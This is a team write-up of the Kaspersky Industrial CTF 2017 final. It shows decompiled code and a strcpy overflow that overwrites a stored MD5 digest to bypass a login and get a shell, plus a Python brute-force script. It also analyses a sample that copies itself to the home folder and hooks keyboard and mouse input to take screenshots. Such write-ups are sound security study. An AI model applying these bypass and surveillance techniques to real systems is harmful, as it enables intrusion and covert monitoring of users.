KASPERSKY INDUSTRIAL CTF 2017 Write-up

The final of Kaspersky Industrial CTF 2017 was held on October 24, at the GeekPwn in Shanghai.

The industrial CTF (Capture The Flag) competition is a unique contest, which covers different aspects of cybersecurity and enables participants to test the virtual enterprise environment for possible vulnerabilities, according to the organiser Kaspersky Lab.

Three teams competed in the final, they were CyKor, TokyoWesterns and FlappyPig.

Within seven hours, none of the teams succeeded to break into the enterprise model’s industrial network. But the winning team CyKor would have needed just 10 or 15 more minutes to achieve that goal.

The write-up is written by team FlappyPig.  You can also watch the LIVE reported by CGTV.

RShell.dmp

At the beginning, the organizers provided a file called Rshell.dmp, file was found to be an exe file dump. 

1

Decompile the dump file, it can be found that in fact this is actually a program used to log in. main function in at the location 0xcc1210.

int real_main()
{
  char **v0; // eax@2
  char **v1; // eax@3
  char hObject; // [sp+0h] [bp-8h]@1
  HANDLE hObjecta; // [sp+0h] [bp-8h]@2
  DWORD ThreadId; // [sp+4h] [bp-4h]@1

  ThreadId = 0;
  hObject = (unsigned int)CreateThread(0, 0, StartAddress, 0, 0, &ThreadId);
  if ( auth() )
  {
    print((int)aCredentialsAre, hObject);
    v1 = get_fd();
    fflush((FILE *)v1 + 1);
  }
  else
  {
    print((int)aRemoteAssistan, hObject);
    v0 = get_fd();
    fflush((FILE *)v0 + 1);
    system(aCmd);
  }
  CloseHandle(hObjecta);
  return 0;
}

If you pass the verification, you will get a host shell. You need to make this auth function returns 0. The general logic of the auth function is like this.

int auth()
{
  char **fd; // eax@1
  char v2; // [sp+0h] [bp-114h]@0
  int v3; // [sp+4h] [bp-110h]@5
  signed int v4; // [sp+8h] [bp-10Ch]@6
  unsigned int i; // [sp+Ch] [bp-108h]@3
  char v6; // [sp+10h] [bp-104h]@11
  char v7; // [sp+68h] [bp-ACh]@11
  char input[68]; // [sp+78h] [bp-9Ch]@1
  char first_16_bytes[16]; // [sp+BCh] [bp-58h]@1
  char v10; // [sp+CCh] [bp-48h]@1
  char md5_digest[16]; // [sp+100h] [bp-14h]@1

  md5_digest[0] = 0;
  md5_digest[1] = 0xF;
  md5_digest[2] = 1;
  md5_digest[3] = 0xE;
  md5_digest[4] = 2;
  md5_digest[5] = 0xD;
  md5_digest[6] = 3;
  md5_digest[7] = 0xC;
  md5_digest[8] = 4;
  md5_digest[9] = 0xB;
  md5_digest[10] = 5;
  md5_digest[11] = 0xA;
  md5_digest[12] = 6;
  md5_digest[13] = 9;
  md5_digest[14] = 7;
  md5_digest[15] = 8;
  print((int)aPleaseAuthoriz, v2);
  fd = get_fd();
  fflush((FILE *)fd + 1);
  memset(input, 0, 68u);
  memset(first_16_bytes, 0, 16u);
  memset(&v10, 0, 52u);
  while ( !scanf(a68s, input) )
    ;
  memmove(first_16_bytes, input, 0x10u);
  for ( i = 0; i < 0x10; ++i )
  {
    v3 = isprint(first_16_bytes[i]) == 0;
    if ( first_16_bytes[i] == aRemoteassistan[i] )
      v4 = 0;
    else
      v4 = -1;
    if ( v4 + v3 )
      return -1;
  }
  strcpy(&v10, &input[16]);
  MD5_init((int)&v6);
  MD5_update((int)&v6, &v10, 0x34u);
  MD5_final(&v6);
  return memcmp(md5_digest, &v7, 0x10u);
}
  1. Set the last built-in md5 comparison value md5_digest
  2. Read 68 bytes to input inside
  3. memmove the first 16 bytes of input to first_16_bytes inside
  4. Judge if first_16_bytes are not visible characters, and compare to the string “RemoteAssistant:”
  5. strcpy the input of the first 16 characters to v10
  6. get the md5 sum of v10, v6 is the result of MD5_CTX structure, restored in v7
  7. Finally, if v7 and md5_digest are equal, 0 will be returned.

There is no problem at first glance. But a closer look will find strcpy will cause a problem. When the input is exactly 68 bytes. Because first_16_bytes happens to be just behind input, exactly the strcpy is copied to v10.

  char input[68]; // [sp+78h] [bp-9Ch]@1
  char first_16_bytes[16]; // [sp+BCh] [bp-58h]@1
  char v10; // [sp+CCh] [bp-48h]@1
  char md5_digest[16]; // [sp+100h] [bp-14h]@1

And v10 is just above the md5_digest, so it will override this value. But in order to achieve md5_digest coverage for any value, we must find ways to bypass If (first_16_bytes [i] == aRemoteassistan [i])

    v3 = isprint(first_16_bytes[i]) == 0;
    if ( first_16_bytes[i] == aRemoteassistan[i] )
      v4 = 0;
    else
      v4 = -1;
    if ( v4 + v3 )
      return -1;

This code here is actually bypassable. Isprint will return 1 if isprint’s argument is not a visible character. So first_16_bytes this can not be equal to “RemoteAssistant:”. So we have to find a 52 bytes string of all md5 digest characters that are not visible. This can be overridden md5_digest with strcpy, through. In addition there was a comparison of NULL byte in strcpy to determine whether there is no end, so the last byte of md5 digest should be \ x00.

import hashlib
import string

def MD5(s):
    return hashlib.md5(s).digest()

def check(s):
    for i in s:
        if i in string.printable:
            return False
    if s[-1:] != '\x00':
        return False
    return True

#print len(MD5('1'))

a = 'a' * 49
for i in range(1, 255):
    for j in range(1, 255):
        for k in range(1, 255):
            md5_value = MD5(a + chr(i) + chr(j) + chr(k))

            if check(md5_value):
                print a + chr(i) + chr(j) + chr(k)
                print MD5(a + chr(i) + chr(j) + chr(k)).encode('hex')

find a string with bruteforce, add it in the front md5 and sent directly to the server can get a windows shell.

Malware

The malware is extracted from the machine’s image, by analyzing the malware can find what you need to do below. main function code, this code is what I have analyzed and patch.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // rbx
  unsigned int v4; // er8
  FILE *v5; // rax
  unsigned int v6; // er8
  char v7; // al
  const char *v8; // rcx
  char *v9; // rdx
  signed __int64 idx; // r8
  _QWORD *v11; // rbx
  _QWORD *v12; // rax
  __int64 v13; // rax
  __int64 v14; // rbx
  void *v15; // rax
  _QWORD *v16; // rax
  _QWORD *v17; // rax
  char v19; // [rsp+20h] [rbp-E0h]
  char *v20; // [rsp+28h] [rbp-D8h]
  __int64 v21; // [rsp+38h] [rbp-C8h]
  char homepath; // [rsp+40h] [rbp-C0h]
  char v23; // [rsp+60h] [rbp-A0h]
  char v24; // [rsp+80h] [rbp-80h]
  struct tagMSG Msg; // [rsp+A0h] [rbp-60h]
  const void *file_path[4]; // [rsp+D0h] [rbp-30h]
  const void *v27[4]; // [rsp+F0h] [rbp-10h]
  const void *user_profile[4]; // [rsp+110h] [rbp+10h]
  char Dst; // [rsp+130h] [rbp+30h]

  v21 = -2i64;
  v3 = (char **)argv;
  if ( (signed int)time64(0i64) <= 0x7AFFFF7F )
  {
    LODWORD(v5) = write(
                    (unsigned __int64)&stdout,
                    "Hello. This program written only for industrial ctf final. Don't use it for any purporse",
                    v4);
    fflush_0(v5);
    v7 = 0;
    v19 = 0;
    while ( v7 != 78 )
    {
      write((unsigned __int64)&stdout, "Write [Y]/[N] to continue: ", v6);
      scanf(v8, &v19);
      v7 = toupper(v19);
      v19 = v7;
      if ( v7 == 'Y' )
      {
        if ( check_volume_serial_num() )
        {
          get_cur_path(&Dst);                   // RAX : 000000000012FEE0     &L"C:\\Users\\test\\Desktop\\industrial_ctf_final_malware.exe"
                                                // 
                                                // 
          get_user_profile(user_profile);       // RAX : 000000000012FEC0     &L"C:\\Users\\test\\"
                                                // 
          v9 = *v3;
          idx = -1i64;
          do
            ++idx;
          while ( v9[idx] );
          sub_14000B500(v27, (__int64)v9, (__int64)&v9[idx]);
          v11 = sub_14000B590((__int64)&v24);
          v12 = sub_140009C50((__int64)&v23, user_profile);
          strcat(file_path, (__int64)v12, v11); // [rbp-30]:L"C:\\Users\\test\\industrial_ctf_final_malware.exe"
          finalize((const void **)&v23, 1, 0i64);
          finalize((const void **)&v24, 1, 0i64);
          v13 = sub_140004CD0(file_path, (__int64)&homepath);
          if ( (unsigned __int8)sub_140005740(v13) )
          {
            v17 = (_QWORD *)sub_14000D3E0();
            sub_14000D8D0(v17);
            while ( GetMessageA(&Msg, 0i64, 0, 0) )
            {
              TranslateMessage(&Msg);
              DispatchMessageA(&Msg);
            }
          }
          else
          {
            v20 = &homepath;
            v14 = sub_140004CD0(file_path, (__int64)&homepath);
            v15 = sub_140006490(&Msg, v27);
            if ( registry((__int64)v15, v14) )
            {
              v16 = sub_140009C50((__int64)&Msg, v27);
              clean((__int64)v16);
            }
          }
          finalize(file_path, 1, 0i64);
          finalize(v27, 1, 0i64);
          finalize(user_profile, 1, 0i64);
          finalize((const void **)&Dst, 1, 0i64);
        }
        return 0;
      }
    }
  }
  return 0;
}

It can be seen that it first got a timestamp, to determine whether the program is executed by this timestamp. The previous timestamp was exactly the time before the start of the race, so I patch this time and the program will continue executing.

After checking the volume serial number check_volume_serial_num function

bool check_volume_serial_num()
{
 [...]
  GetDriveTypeA(0i64);
  if ( !GetVolumeInformationA(
          0i64,
          &VolumeNameBuffer,
          0x104u,
          &VolumeSerialNumber,
          &MaximumComponentLength,
          &FileSystemFlags,
          &FileSystemNameBuffer,
          0x104u) )
    return 0;
   [...]
  return VolumeSerialNumber == 0x2D98666;
}

Patch the return of the comparison, the judgment becomes equal to determine the unequal to be able to continue the dynamic debugging. if ((unsigned __int8) sub_140005740 (v13)) checks if the location of malware is at HOMEPATH. If not, go to the following process, copy this program to the HOMEPATH inside, and then delete the current program. If it is in the HOMEPATH inside, then enter sub_14000D8D0.

__int64 __fastcall sub_14000D8D0(_QWORD *a1)
{
[...]
  v2 = GetModuleHandleA(0i64);
  v3 = v2;
  if ( !v2 )
    exit(1);
  v1[5] = SetWindowsHookExA(13, fn, v2, 0);
  v1[6] = SetWindowsHookExA(14, fn, v3, 0);
  create_folder(&folder);
  sub_14000FC30();
  sub_14000FC30();
  folder = (__int64 *)&folder;
  v5 = Stat(folder, &v15);
  v6 = v5 != 8 && v5 != -1;
  v7 = v6 == 0;
  finalize((const void **)&folder, 1, 0i64);
  if ( v7 )
  {
    create_folder(&folder);
    sub_14000BB40(&folder);
    finalize((const void **)&folder, 1, 0i64);
  }
  v10 = sub_14000D750(v8, &folder);
  v15 = v10;
  if ( v1 + 55 != v10 )
    sub_140003050(v1 + 55);
  LOBYTE(v9) = 1;
  return std::basic_string<char,std::char_traits,std::allocator>::_Tidy(v10, v9, 0i64);
}

The general processing of this function is like this, first hook ‘WHWKEYBOARD_LLand WH_MOUSE_LL via SetWindowsHookExA. fn function is to create a screenshot in the data file home when there is a keyboard operation or a mouse click.

LRESULT __fastcall fn(int code, WPARAM wParam, LPARAM lParam)
{
  LPARAM v3; // rsi
  WPARAM v4; // rdi
  int v5; // er14
  _QWORD *v6; // rbx
  _QWORD *v7; // rbx
  __m128i v8; // xmm6
  __int64 v9; // rax
  __int64 v10; // rcx
  char v12; // [rsp+38h] [rbp-A0h]
  __int128 v13; // [rsp+48h] [rbp-90h]
  __int64 Dst; // [rsp+58h] [rbp-80h]
  __int64 v15[2]; // [rsp+60h] [rbp-78h]
  __int64 v16; // [rsp+70h] [rbp-68h]
  void **v17; // [rsp+F0h] [rbp+18h]

  Dst = -2i64;
  v3 = lParam;
  v4 = wParam;
  v5 = code;
  v6 = *(_QWORD **)&qword_140110118;
  if ( !*(_QWORD *)&qword_140110118 )
  {
    v7 = operator new(0x1D8ui64);
    memset(v7, 0, 0x1D8ui64);
    v6 = sub_14000BCC0(v7);
    *(_QWORD *)&qword_140110118 = v6;
  }
  if ( v5 >= 0 )
  {
    if ( !((v4 - 256) & 0xFFFFFFFFFFFFFFFBui64) )
    {
      *(_QWORD *)&v13 = *(_QWORD *)(v3 + 16);
      switch ( *(_DWORD *)v3 )
      {
        case 0xA0:
          *((_BYTE *)v6 + 36) = 1;
          break;
        case 0xA1:
          *((_BYTE *)v6 + 37) = 1;
          break;
        case 0xA2:
          *((_BYTE *)v6 + 34) = 1;
          break;
        case 0xA3:
          *((_BYTE *)v6 + 35) = 1;
          break;
        case 0xA4:
          *((_BYTE *)v6 + 32) = 1;
          break;
        case 0xA5:
          *((_BYTE *)v6 + 33) = 1;
          break;
        default:
          sub_14000DA20((__int64)v6, *(_DWORD *)v3);
          break;
      }
    }
    if ( !((v4 - 257) & 0xFFFFFFFFFFFFFFFBui64) )
    {
      *(_QWORD *)&v13 = *(_QWORD *)(v3 + 16);
      switch ( *(_DWORD *)v3 )
      {
        case 0xA0:
          *((_BYTE *)v6 + 36) = 0;
          break;
        case 0xA1:
          *((_BYTE *)v6 + 37) = 0;
          break;
        case 0xA2:
          *((_BYTE *)v6 + 34) = 0;
          break;
        case 0xA3:
          *((_BYTE *)v6 + 35) = 0;
          break;
        case 0xA4:
          *((_BYTE *)v6 + 32) = 0;
          break;
        case 0xA5:
          *((_BYTE *)v6 + 33) = 0;
          break;
        default:
          break;
      }
    }
    if ( v4 == 0x201 || v4 == 0x206 )
    {
      v8 = *(__m128i *)v3;
      v13 = *(_OWORD *)(v3 + 16);
      memset(&Dst, 0, 0xF8ui64);
      sub_14000E290(&Dst);
      _mm_storeu_si128((__m128i *)v15, (__m128i)0i64);
      v16 = 0i64;
      sub_140010E70(_mm_cvtsi128_si32(v8) - 50, _mm_cvtsi128_si32(_mm_srli_si128(v8, 4)) - 50, (__int64)v15);
      v9 = sub_140006300(&v12, v15);
      sub_1400050F0(v10, v9);
      v15[1] = v15[0];
      sub_140007BB0(v15);
      sub_14000E150(&v17);
      v17 = &std::ios_base::`vftable';
      std::ios_base::_Ios_base_dtor((struct std::ios_base *)&v17);
    }
  }
  return CallNextHookEx((HHOOK)v6[5], v5, v4, v3);
}

The general result is as follows:

2

So after the job is to find the next clue to the user directory data folder.


This is the second time for GeekPwn to hold the CTF competition after Pwn2Fight CTF(on YouTube) held in 2016,  in which contestants can perform traditional CTF attack to get control of other teams’ drone and use drones to physically attack other teams’ drone base.

The GeekPwn2018 Silicon Valley contestants registration is OPEN now.

In 2018, we set four categories including PWN AI, AI PWN, PWN EVERYTHING and a Trojan Robot Challenge, with a bonus pool of $800,000 USD.

Please submit your registration form online before April 12th, 2018. For any questions, please send an email to cfp@geekpwn.org.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s